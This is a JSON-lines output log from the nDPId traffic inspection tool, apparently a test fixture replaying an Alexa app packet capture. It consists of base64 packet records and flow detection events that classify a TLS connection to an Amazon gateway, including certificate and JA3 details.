+00430{"flow_id":100,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1501,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976093,"pkt_ts_usec":481996,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAwL+xAAOcGd56wIGU0rBAq2AG7q+GBdUC1\/NmTdnASH\/53tgAAAgQFtAEDAwY="} +00416{"flow_id":100,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1503,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976093,"pkt_ts_usec":486409,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAo8bNAAEAGXN+sECrYsCBlNKvhAbv82ZN2gXVAtlAQAVfCJwAA"} +00676{"flow_id":100,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1504,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976093,"pkt_ts_usec":491797,"pkt_caplen":246,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":246,"pkt_l4_len":212,"pkt":"AMDKkaPvePiC0\/vCCABFAADo8bRAAEAGXB6sECrYsCBlNKvhAbv82ZN2gXVAtlAYAVdf+wAAFgMBALsBAAC3AwMUk28qOfCX+6BknWYBVekF4sddVYXUxYb5G4wUZo66+AAAIBoazKnMqMwUzBPAK8AvwCzAMMATwBQAnACdAC8ANQAKAQAAbmpqAAD\/AQABAAAAABsAGQAAFmRwLWd3LW5hLWpzLmFtYXpvbi5jb20AFwAAACMAAAANABQAEgQDCAQEAQUDCAUFAQgGBgECAQAFAAUBAAAAAAASAAAACwACAQAACgAKAAiamgAdABcAGCoqAAEA"} +00775{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1504,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":100,"flow_packet_id":4,"flow_first_seen":1490976093358,"flow_last_seen":1490976093491,"flow_tot_l4_data_len":300,"flow_min_l4_data_len":20,"flow_max_l4_data_len":212,"flow_avg_l4_data_len":75,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"176.32.101.52","src_port":44001,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"dp-gw-na-js.amazon.com","ja3":"731bcada65b0a6f850bada3bdcd716d1","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00425{"flow_id":100,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1508,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976093,"pkt_ts_usec":952522,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoBI1AAN0GrQWwIGU0rBAq2AG7q+GBdUC2\/NmUNlAQASzBkgAAAAAAAAAA"} +02385{"flow_id":100,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1509,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976093,"pkt_ts_usec":953106,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ePiC0\/vCAMDKkVoBCABFAAXcBI5AAN0Gp1CwIGU0rBAq2AG7q+GBdUC2\/NmUNlAQASzHCgAAFgMDDUUCAABNAwNY3n1di6S2tK83OuR6x\/Vk1WfaHQb\/fjmvRs8+b+gskCBY3n1dFrR1oDAIXc3AuFkKnOfZtk\/GQhS3v6zIpdKk+sAvAAAF\/wEAAQALAAufAAucAAZaMIIGVjCCBT6gAwIBAgIQddu4RKgnp9AKBCFQ7BHJUDANBgkqhkiG9w0BAQsFADB+MQswCQYDVQQGEwJVUzEdMBsGA1UEChMUU3ltYW50ZWMgQ29ycG9yYXRpb24xHzAdBgNVBAsTFlN5bWFudGVjIFRydXN0IE5ldHdvcmsxLzAtBgNVBAMTJlN5bWFudGVjIENsYXNzIDMgU2VjdXJlIFNlcnZlciBDQSAtIEc0MB4XDTE2MDkyNDAwMDAwMFoXDTE3MDkxMzIzNTk1OVowbTELMAkGA1UEBhMCVVMxEzARBgNVBAgMCldhc2hpbmd0b24xEDAOBgNVBAcMB1NlYXR0bGUxGTAXBgNVBAoMEEFtYXpvbi5jb20sIEluYy4xHDAaBgNVBAMME2RwLWd3LW5hLmFtYXpvbi5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDB7oSPmCckd3KygN+T1DM19CWoYk8vZUE\/JozMKL0TpIMe2QeyHMQqdvqaTuPI1brDtyJbyyUfky9CMjFZ4\/tvGndISi9iXCBd\/gPvUvGcsSjUMmkVX8XGjs3FEnL4Z3hRs\/CllzL\/6cXLWDDi9efHIvk0j8Bjed4VdqYEH\/daD81tKURUPyonU3HUFeNxy0KGg5KjjJDlrfSej1TM4J61ccyWVjumCH1AT0ltIhLc5tLpeI4wDSipJrdBEUPmNmWgoiucipYr0XpAqxsnLrIhgM76i6VIGfomUkz5rRY0q7O+SfsNjbhKHOsFWqJtoXTcYpmtiCV8qsbnm9227E89AgMBAAGjggLfMIIC2zCBjgYDVR0RBIGGMIGDghNkcC1ndy1uYS5hbWF6b24uY29tghZkcC1ndy1uYS1qcy5hbWF6b24uY29tghVkcC1ndy1uYS5hbWF6b24uY28udWuCEmRwLWd3LW5hLmFtYXpvbi5kZYIVZHAtZ3ctbmEuYW1hem9uLmNvLmpwghJkcC1ndy1uYS5hbWF6b24uaW4wCQYDVR0TBAIwADAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMGEGA1UdIARaMFgwVgYGZ4EMAQICMEwwIwYIKwYBBQUHAgEWF2h0dHBzOi8vZC5zeW1jYi5jb20vY3BzMCUGCCsGAQUFBwICMBkMF2h0dHBzOi8vZC5zeW1jYi5jb20vcnBhMB8GA1UdIwQYMBaAFF9gz2GQVd+EQxSKYCqy9Xr0QxjvMCsGA1UdHwQkMCIwIKAeoByGGmh0dHA6Ly9zcy5zeW1jYi5jb20vc3MuY3JsMFcGCCsGAQUFBwEBBEswSTAfBggrBgEFBQcwAYYTaHR0cDovL3NzLnN5bWNkLmNvbTAmBggrBgEFBQcwAoYaaHR0cDovL3NzLnN5bWNiLmNvbS9zcy5jcnQwggECBgorBgEEAdZ5AgQCBIHzBIHwAO4AdQDd6x0reg1PpiCLga2BaHB+Lo6dAdVciI09EcTNtuy+zAAAAVdbL95eAAAEAwBGMEQCIGBJj2409lWMTY3leVh+hZadQ9CA1g7R7q8ufddk53u7AiARfDhfwoOuM5JgidbgN\/Tmdb1UQXcO\/E9BYW50gez\/OQB1AGj2mPgfZIK+OozuuSgdTPxxUV1nk9RE0QpnrLtPT\/vEAAABV1sv3yYAAAQDAEYwRAIgYUUxMXJECP+ra5zTlmT7KHJ3uzsD5rDZB5gUoNfVOdgCIAQwwZ7n5B+1wXaalm1d1jJFC9AfOu5DmAUon0RVoM+uMA0GCSqGSIb3DQEBCwU="} +02390{"flow_id":100,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1510,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976093,"pkt_ts_usec":953736,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ePiC0\/vCAMDKkVoBCABFAAXcBI9AAN0Gp0+wIGU0rBAq2AG7q+GBdUZq\/NmUNlAQASxuvgAAAAOCAQEAK\/pDlVeej1No09ux9GJoUeanFif90eMaJxwd0\/pSpaDxqjzKaxZUSifF0KLHeRnk2CG6WD9421\/OYoinUJB0VlWsSpcv2pQu1BKuK+KgE\/JOd2BvgBPLG7DJtSQUGek9Rm1xNWX4RtUxHRL+x7E03aC9guVHIE6x6kGaSiwegSPN\/0N1XWTFiaqkDRJ5bCTMMHFhOfuCN9jLbg3z2X2VLSovwCi8ZdXg2KDjVy+j5IJ6OOZ5kT7ugiJPWJSq0vZy9mLlY\/uNCKpRHF7ANULrC7JP7s3fq3uiYPfbh\/6pD+ev3pvC79qIrZQalNURSoBFQIw4YAaSk3XBRqVNfZxBEQAFPDCCBTgwggQgoAMCAQICEFE\/uXQ4cLc0QEGNMJMGmf8wDQYJKoZIhvcNAQELBQAwgcoxCzAJBgNVBAYTAlVTMRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjEfMB0GA1UECxMWVmVyaVNpZ24gVHJ1c3QgTmV0d29yazE6MDgGA1UECxMxKGMpIDIwMDYgVmVyaVNpZ24sIEluYy4gLSBGb3IgYXV0aG9yaXplZCB1c2Ugb25seTFFMEMGA1UEAxM8VmVyaVNpZ24gQ2xhc3MgMyBQdWJsaWMgUHJpbWFyeSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAtIEc1MB4XDTEzMTAzMTAwMDAwMFoXDTIzMTAzMDIzNTk1OVowfjELMAkGA1UEBhMCVVMxHTAbBgNVBAoTFFN5bWFudGVjIENvcnBvcmF0aW9uMR8wHQYDVQQLExZTeW1hbnRlYyBUcnVzdCBOZXR3b3JrMS8wLQYDVQQDEyZTeW1hbnRlYyBDbGFzcyAzIFNlY3VyZSBTZXJ2ZXIgQ0EgLSBHNDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALLYBcocdC21F1Y5xUpSCZboS9gM8WifmkIoYsOlMFN+VRGCWwN6DS\/heQTJtJZ3GYEBlFn5vPd6mSeCLbeD3Vonf7IDepxTJelIH0ZPyJ0p+L55Vvb3\/dk6aNqLS4IzQRLDyDzM1pZ6hCEaIgQDJxeLHGhhkw8OUYAzHbS1zut+0GKs7rN7AXTvaTXrytU9qe6XmMqNqkQOJZlKFZakzm0CVB8qaibiBjpjSKy0TNF1k1D\/Ey\/W2uHGGPWfySVd8wA63iZNtCkJzQ89I28WSoEW+\/KDEMO41thVMj3xvQ+9jFKVShaXelIhY3UvFvnEZr71tQnY\/ycAzUR8b0s\/sPcCAwEAAaOCAWMwggFfMBIGA1UdEwEB\/wQIMAYBAf8CAQAwMAYDVR0fBCkwJzAloCOgIYYfaHR0cDovL3MxLnN5bWNiLmNvbS9wY2EzLWc1LmNybDAOBgNVHQ8BAf8EBAMCAQYwLwYIKwYBBQUHAQEEIzAhMB8GCCsGAQUFBzABhhNodHRwOi8vczIuc3ltY2IuY29tMGsGA1UdIARkMGIwYAYKYIZIAYb4RQEHNjBSMCYGCCsGAQUFBwIBFhpodHRwOi8vd3d3LnN5bWF1dGguY29tL2NwczAoBggrBgEFBQcCAjAcGhpodHRwOi8vd3d3LnN5bWF1dGguY29tL3JwYTApBgNVHREEIjAgpB4wHDEaMBgGA1UEAxMRU3ltYW50ZWNQS0ktMS01MzQwHQYDVR0OBBYEFF9gz2GQVd+EQxSKYCqy9Xr0QxjvMB8GA1UdIwQYMBaAFH\/TZafC3ey78DAJ80M5+gKvMzEzMA0GCSqGSIb3DQEBCwUAA4IBAQBelFZJ3Y4tZfXBNlG2A+PannMZ8h9Zq1h+bCYFLPqB11wjFyIsN5P3huyF5rCj\/R\/iMqhFb+HZ+7mv0nCgMkJlv4T+FiqPP8Wm1qOTfUPpdCGRNSj0Y+ku7ff1XH9LmrUg6Qq94EUQDBSUml2l40s="} +01070{"flow_id":100,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1511,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976093,"pkt_ts_usec":953778,"pkt_caplen":536,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":536,"pkt_l4_len":502,"pkt":"ePiC0\/vCAMDKkVoBCABFAAIKBJBAAN0GqyCwIGU0rBAq2AG7q+GBdUwe\/NmUNlAYASynKAAAkegkm0ZAZfQics2Z+IgR9fN\/5jOC5qjFfv7QCOIlWAhxaObNouYU3k5SJC395XkTU+deLy1NG21AFVIr94eJeBKBbtlNqi141MIsPQhfh5GeHw6w3jBSZIaJqp1mnA52DIDydNgq+Lg6ztfWDxG+a6sU9b1BoCJjifG6D28pY2YtP6yMcsX7x+TUD\/I7T4wpxwwAAUkDABdBBDQ7Zsmi55awstxAoD5YVFuS80uahpNp94czUjdedxVwigtOuX1ppyilGVgDD3v4BhhIHte5frdW5MKSlwHtCDQEAQEALIVuocSYhYFp9IkTvzZqAqftCQeVFoWhQjK9KbxAC2EUc4oLdWWjhDVD2V277NueUY1C1XRZP9yiQXEO7eETvAIwU\/2fPusBVepINnoPhS2BAxsuEPcA+i3vQVGLzS\/b9i8QgKpc96JJQ5TcPOg3n43GSlJu1gSJxWBI6R4oEIpJpYydJ9bJrVYXcTrzg0YeSTfxyivoT49t9C6dcKIj0J7tNCyp4P9Nzm1xjM\/EaTWoPfbkiS+N4KWI5u+yKLPHG46EfVj3IYUZAQFQNI0crI\/nChUZjglRmX0Hxa4Or7dZxgFwPaZlWR7Lx2rUolF0u3L3rboNyzPaWPrmGplFNQ4AAAA="} +01250{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1511,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":100,"flow_packet_id":8,"flow_first_seen":1490976093358,"flow_last_seen":1490976093953,"flow_tot_l4_data_len":3782,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":472,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"176.32.101.52","src_port":44001,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"dp-gw-na-js.amazon.com","server_names":"dp-gw-na.amazon.com,dp-gw-na-js.amazon.com,dp-gw-na.amazon.co.uk,dp-gw-na.amazon.de,dp-gw-na.amazon.co.jp,dp-gw-na.amazon.in","ja3":"731bcada65b0a6f850bada3bdcd716d1","ja3s":"fbe78c619e7ea20046131294ad087f05","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=Symantec Corporation, OU=Symantec Trust Network, CN=Symantec Class 3 Secure Server CA - G4","issuerDN":"C=US, ST=Washington, L=Seattle, O=Amazon.com, Inc., CN=dp-gw-na.amazon.com","fingerprint":"27:E5:06:34:82:69:BC:97:5E:28:A3:C1:5A:23:81:C7:E3:28:95:8C"}} +00676{"flow_id":100,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1513,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976094,"pkt_ts_usec":724334,"pkt_caplen":246,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":246,"pkt_l4_len":212,"pkt":"AMDKkaPvePiC0\/vCCABFAADo8bVAAEAGXB2sECrYsCBlNKvhAbv82ZN2gXVAtlAYAVdf+wAAFgMBALsBAAC3AwMUk28qOfCX+6BknWYBVekF4sddVYXUxYb5G4wUZo66+AAAIBoazKnMqMwUzBPAK8AvwCzAMMATwBQAnACdAC8ANQAKAQAAbmpqAAD\/AQABAAAAABsAGQAAFmRwLWd3LW5hLWpzLmFtYXpvbi5jb20AFwAAACMAAAANABQAEgQDCAQEAQUDCAUFAQgGBgECAQAFAAUBAAAAAAASAAAACwACAQAACgAKAAiamgAdABcAGCoqAAEA"} +00415{"flow_id":94,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1521,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976094,"pkt_ts_usec":725548,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoZGtAAEAG4pesECrYNF7ohsHeAFAhsQk+SlvB81ARAVvBPgAA"} +00415{"flow_id":98,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1522,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976094,"pkt_ts_usec":725672,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAo0apAAEAGEv6sECrYNudIWKNdAbtkFLBJe5WfNFARAVeEFAAA"} +00677{"flow_id":100,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1523,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976094,"pkt_ts_usec":725797,"pkt_caplen":246,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":246,"pkt_l4_len":212,"pkt":"AMDKkaPvePiC0\/vCCABFAADo8bZAAEAGXBysECrYsCBlNKvhAbv82ZN2gXVAtlAYAVdf+wAAFgMBALsBAAC3AwMUk28qOfCX+6BknWYBVekF4sddVYXUxYb5G4wUZo66+AAAIBoazKnMqMwUzBPAK8AvwCzAMMATwBQAnACdAC8ANQAKAQAAbmpqAAD\/AQABAAAAABsAGQAAFmRwLWd3LW5hLWpzLmFtYXpvbi5jb20AFwAAACMAAAANABQAEgQDCAQEAQUDCAUFAQgGBgECAQAFAAUBAAAAAAASAAAACwACAQAACgAKAAiamgAdABcAGCoqAAEA"} +00386{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1524,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976094,"pkt_ts_usec":729619,"pkt_caplen":60,"pkt_type":35085,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AMDKkaPvePiC0\/vCiQ0CDAoBZRIAwMqRdPh4+ILT+8IAwMqRo+\/dFACgxgAAAAAAAAAAAAAAAAAAAAAA"} +00164{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":1524,"source":"alexa-app.pcapng","alias":"nDPId-test","type":35085} +00417{"flow_id":100,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1525,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976094,"pkt_ts_usec":730845,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAo8bdAAEAGXNusECrYsCBlNKvhAbv82ZQ2gXVGalAQAWK7qAAA"} +00417{"flow_id":100,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1526,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976094,"pkt_ts_usec":731542,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAo8bhAAEAGXNqsECrYsCBlNKvhAbv82ZQ2gXVMHlAQAW216QAA"} +00417{"flow_id":100,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1527,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976094,"pkt_ts_usec":732206,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAo8blAAEAGXNmsECrYsCBlNKvhAbv82ZQ2gXVOAFAQAXmz+wAA"} +00588{"flow_id":100,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1528,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976094,"pkt_ts_usec":742222,"pkt_caplen":180,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":180,"pkt_l4_len":146,"pkt":"AMDKkaPvePiC0\/vCCABFAACm8bpAAEAGXFqsECrYsCBlNKvhAbv82ZQ2gXVOAFAYAXm2wAAAFgMDAEYQAABCQQTckZsd8+RkJuResgaQkK5Mcc05joYp36isSPV1sAa1yemGa4THFw80p6P6KN15VMfq3SViqxH31nD0WeDHJsEsFAMDAAEBFgMDACgAAAAAAAAAAGopQvnydwKwwVYbSE9q3k9HY9HgvpLHXtXC1bca0c0e"} +00498{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1529,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":22,"flow_packet_id":10,"flow_first_seen":1490976031691,"flow_last_seen":1490976032855,"flow_tot_l4_data_len":2382,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1366,"flow_avg_l4_data_len":238,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":49572,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00426{"flow_id":100,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1530,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976094,"pkt_ts_usec":926975,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoMwpAAOcGdIiwIGU0rBAq2AG7q+GBdU4A\/NmUNlAQASy0SAAAAAAAAAAA"} +00424{"flow_id":94,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1534,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976094,"pkt_ts_usec":927120,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAocVhAAOcGLqo0XuiGrBAq2ABQwd5KW8HzIbEJP1ARAH\/CGQAAAAAAAAAA"} +00427{"flow_id":98,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1536,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976094,"pkt_ts_usec":927183,"pkt_caplen":61,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":61,"pkt_l4_len":27,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAvXMBAAOcG4OA250hYrBAq2AG7o117lZ80ZBSwSlAYADpuIQAAFQAAAAIBAA=="} +00423{"flow_id":98,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1537,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976094,"pkt_ts_usec":927214,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoXMFAAOcG4OY250hYrBAq2AG7o117lZ87ZBSwSlAUADqFJgAAAAAAAAAA"} +00417{"flow_id":94,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1545,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976094,"pkt_ts_usec":931401,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoZGxAAEAG4pasECrYNF7ohsHeAFAhsQk\/SlvB9FAQAVvBPQAA"} +00415{"flow_id":98,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1546,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976094,"pkt_ts_usec":931528,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAotR9AAEAGL4msECrYNudIWKNdAbtkFLBKAAAAAFAEAACgQQAA"} +02410{"flow_id":92,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1575,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976098,"pkt_ts_usec":720362,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"AMDKkaPvePiC0\/vCCABFAAXc35lAAEAGYbWsECrYNF7ohrKSAbuabb\/ln5yDYFAQAVdY4AAAFwMBACAxOXnbOB00Ydbq0myEW0OkHMSFkb95zBRYrCRko6JpzhcDAQYgNLTnSXQ9svgqfKWVlrQngszukuTE7nKnDUEZYxrlAmYbGa1uZ9dFMEH1kcfHo6zOTAkPkSr3v05auMyQXhxyUM+Qlw0ggqwNfizjxfRy\/UTnOo5Ec6FDh\/4oYfa+J46aZ9XLhR8omFWa60IDdQQgnw7SPrV+xQkLTAA4EIb0XbLbGsllipsNHeXmJeh0aGA3ht0tEkwFfjopVs3JQ9XxwS+ghp7l\/eHyOcCrcWOmijXPfIF7fB1t8qMue6sK75mbRQMyOpYkuHC6vGSBi3C6D9dHCwkc4ciV2PxV9fZegOkUhKJT2g893OeHbn+cGu9FChWLZYJ99HQUOumcrur+nZbplAojB8vDFFR+QLS3\/GjgzyyxRFnp1frnHqivV67H6xaSgX4To2ORRiqXdrWzrZTe5qwPtpIKGR5eCf6IenCVXl4BvbLE4M7\/j4sRpg8PMJpWFmWNpJqMDEzui5IhhQZEpuSYq8+NiyjiECAI3NgvGuGdAb39yEbyx8cvLebCZCLKdESYrjT9T8I24aJkp4ulxShcIvVbEgYsFrt4R7NNQmsZvsRraSN5AHW66\/lyhj2UvGjvWqq3zjkIMYYL7+Wl\/3Ucntf6dJt8ceMiIGFRYfTgvDfUSYChK+gyWNX6m29Vpy7tAffHakNsdC9yHGo7HevDE\/7oR\/VfgDFPU9LW4v1iipwz5CoUO2BkN3RrIQjhk0leTMfmnYusHwNR1\/82MFoho2R+4zWvVCSvCCDudehqGb7zkFaYdpSgeUqDlj\/a302l03x6d\/u5O5VKWEs5+Nm6CKagglsyTDXCtT5GMPJ9qOf1KzFXxmKfh1qPGPUjH6uMj\/GmJy0zHHzFCuFvHHs94qWBxhFpG2tQ6e9QQ1ebYXii\/gf9dlVuG3t0huSqTFhYDKyt5k0Z7s8QZ6WsmWGhC0fE3lSSO40hoN9Y5nrXsLSe6fSqCtQT03d03D02RE6GUz3sp+H8gXUCLmZb6sxqTJ209iw3scEnrzCEcXlA058OSXeJag0rV9Erllz5fbKrpS1kCvdLretW1tBL\/vCaHyRPUTAqLrg3\/yFXv78FN5NS31yhsRbNuWC4KWPGRsbmzbNqXSpLm9kYQLNQHMOzjnXOGZ3ynmiP\/Ekzu5zWrH\/GrQ0KbEt5xXHqnEjilk0STUzBka3cPdy8nHfJ8N2xtcw80\/2Scz\/SxWTBvAAQdmy7Qh965JZml\/onIcinXc8tG+6FIod\/TluEUGqO\/nfAgO\/qyqCOstVYkXzqAYQam9FOMH8sFEB9SdhdZ5rHslSZn9jCWBfaphItGETUpwGVGQ\/+I9\/5IqK59SDBxJZ79K\/K9KvvugTFitD8lD0I2dNrqDwk3SMpZ13IUi2xIZtYvGPPcHy\/hI5llZnaVeOqmx4KCM5wXWEoVcrVr0r4sd7p9HPoLeCWaW3j2BR5b0AVjA3Y0mdbN+C2RII\/VeVkCMaX6Su\/9FSy+A5KL6eDEQd1qNbMiJbjsWCnRcJSsq9GonkVGG2LnjE+qXT\/xBRWhUnnEiYNkH8484UfDNwoRVAPYeEM+Z\/TZQ3oKNstYo9ztA\/jxXvIXHuodw2JOBGY\/IqGutMlHdpOGB9ycbkRfwWNOIH8EKqoPD0gUTmb3jdoKTbIOjsbke6GQYzPhkZUJeiFuZQz02XnBPUJ+wKESpvBxhgVUuJl39RFf1GG87lRo94Wath7m0EGZK7ql7mBTpGY1K8j8\/X\/f8GwEd8JQwxjM+YuL20vfjEYa1AeWltEDcjw4Nd6ekBcJiZqv\/llpjT9sejK8H5iNlSWhjJmuUtkLe3YTNvZGPqOYEltH7SvUFE4WbOGrTQ